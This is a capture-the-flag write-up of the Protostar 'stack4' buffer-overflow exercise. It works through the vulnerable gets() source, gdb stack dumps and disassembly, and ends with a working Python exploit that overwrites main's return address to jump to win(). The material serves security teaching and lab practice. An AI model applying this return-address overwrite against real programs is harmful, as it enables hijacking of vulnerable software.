Protostar——stack4

Introduction

  There is only one variable in this exercise, buffer, so the program can no longer execute logic by overwriting the variable value. This time we can directly overwrite the return address of the main function, so where is its return address?

source code

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 void win()
 7 {
 8   printf("code flow successfully changed\n");
 9 }
10 
11 int main(int argc, char **argv)
12 {
13   char buffer[64];
14 
15   gets(buffer);
16 }

analyze

  It can be seen that there is a win function in the program, but it is not called directly. Our purpose must be to let the execution flow of the program enter the win function. There is a variable buffer in the main function. After obtaining the user input through the gets function and assigning it to the buffer variable, the function execution ends, so here we need to carefully analyze the content distribution in the stack. If the input content is greater than 64 bytes, we will What area is covered? Recall the assembly instructions that need to be executed when the function is called, taking the main function as an example:

1    push argv
 2    push argc
 3    call main
 4  main: 
5    push ebp
 6    mov ebp, esp
 7    allocate space for local variables

  So the distribution of data in the stack should be:

1  argv
 2  argc
 3  ret address
 4  ebp
 5 local variables

  Let's verify our analysis by debugging the program.

Debugger

 1 (gdb) b 16
 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
 3 (gdb) r
 4 Starting program: /opt/protostar/bin/stack4 
 5 abcd
 6 
 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16
 8 16 stack4/stack4.c: No such file or directory.
 9 in stack4/stack4.c
10 (gdb) print $ebp
11 $1 = (void *) 0xbffffcb8
12 (gdb) print $esp
13 $2 = (void *) 0xbffffc60
14 (gdb) x/32xw $esp
15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75
16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8
17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449
18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8
19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76
21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848
22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b
23 (gdb) info address win
24 Symbol "win" is a function at address 0x80483f4.

  The part marked in red is the content of the buffer.

  From the debugging output, you can see that argc=1, argv=0xbffffd64, which is exactly the content of 0xbffffcc0, so the green word is the return address of the main function, and the orange word is the ebp value of the previous stack frame. But why are there still eight bytes of content at 0xbffffcb0? We can take a look at the disassembly code of the main function:

 1 (gdb) disass main
 2 Dump of assembler code for function main:
 3 0x08048408 <main+0>: push %ebp
 4 0x08048409 <main+1>: mov %esp,%ebp
 5 0x0804840b <main+3>: and $0xfffffff0,%esp
 6 0x0804840e <main+6>: sub $0x50,%esp
 7 0x08048411 <main+9>: lea 0x10(%esp),%eax
 8 0x08048415 <main+13>: mov %eax,(%esp)
 9 0x08048418 <main+16>: call 0x804830c <gets@plt>
10 0x0804841d <main+21>: leave 
11 0x0804841e <main+22>: ret 
12 End of assembler dump.

  You can see that the code at 0x0804840b aligns the value of esp once, and it is this alignment that adds 8 bytes of data to the stack.

  Therefore, if we want to overwrite the return address of the main function, so that the execution logic of the program enters the win function, we need to construct a payload of 80 bytes, and the payload ends with 0xf4830408.

Written by EXPLOIT

After knowing how to write the payload, the exploit is easy to write, and the code is given directly:

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE)
3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408"
4 proc.communicate(payload.decode("hex"))

Output result:

$ python exploit4.py
code flow successfully changed

 

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325099306&siteId=291194637